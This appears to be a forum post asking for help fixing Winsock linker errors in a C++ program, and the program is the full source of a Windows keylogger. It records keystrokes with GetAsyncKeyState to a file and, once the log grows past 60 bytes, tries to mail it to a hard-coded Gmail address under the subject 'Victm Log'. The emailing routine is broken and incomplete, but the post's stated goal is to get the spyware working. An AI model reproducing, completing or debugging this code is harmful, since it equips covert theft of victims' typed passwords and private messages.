I wrote this code on Code Blocks IDE and I get these errors:
undefined reference to wsastartup@8'
undefined reference to `gethostbyname@4'
undefined reference to `connect@12'
undefined reference to `send@16'
undefined reference to `closesocket@4'
undefined reference to `WSACleanup@0'
I tried to modify the GCC compiler with no success.
Can someone help me to make this program work?
#include <windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string>
#define KEY_PRESSED -32767
FILE *file;
void sendEmail(char *server, char *to, char *from, char *subject, char *message);
int main(int arg, char *argv[])
{
char key;
int index;
int lenght;
char *buffer;
file = fopen("Keylogger.txt", "a+");
if(file != NULL)
{
while(true)
{
Sleep(10);
for(key = 8; key <= 255; key++)
{
file = fopen("Keylogger.txt", "a+");
if(GetAsyncKeyState(key) == KEY_PRESSED)
{
switch(key)
{
case VK_SPACE:
fprintf(file, " ");
break;
case VK_RETURN:
fprintf(file, "\n");
break;
case VK_SHIFT:
fprintf(file, "Shift*");
break;
case VK_BACK:
fprintf(file, "\b");
break;
case VK_RBUTTON:
fprintf(file, "*rclick");
break;
case 188:
fprintf(file, ",");
case 198:
fprintf(file, ".");
break;
default:
fprintf(file, "%c", key);
break;
}
}
fclose(file);
}
file = fopen("keylogger.txt", "rb");
fseek(file, 0, SEEK_END);
lenght = ftell(file);
if(lenght >= 60)
{
fseek(file, 0, SEEK_SET);
buffer = (char*)malloc(lenght);
index = fread(buffer, 1, lenght, file);
buffer[index] = '\0';
sendEmail("gmail-smtp-in.l.google.com", "francorodrigognr@gmail.com", "francorodrigognr@gmail.com", "Victm Log", buffer);
fclose(file);
file = fopen("Keylogger.txt", "w");
}fclose(file);
}
}
return 0;
}
void sendEmail(char *server, char *to, char *from, char *subject, char *message)
{
SOCKET sockfd;
WSADATA wsaData;
hostent *host;
sockaddr_in dest;
int sent;
char line[200];
if(WSAStartup(0x202, &wsaData) != SOCKET_ERROR)
{
if((host = gethostbyname(server)) != NULL)
{
memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host -> h_addr, host->h_length);
connect(sockfd, (struct sockaddr*)&dest, sizeof(dest));
strcpy(line, "hello me someplace.com\n");
sent = send(sockfd, line, strlen(line), 0);
Sleep(500);
}
}
closesocket(sockfd);
WSACleanup();
}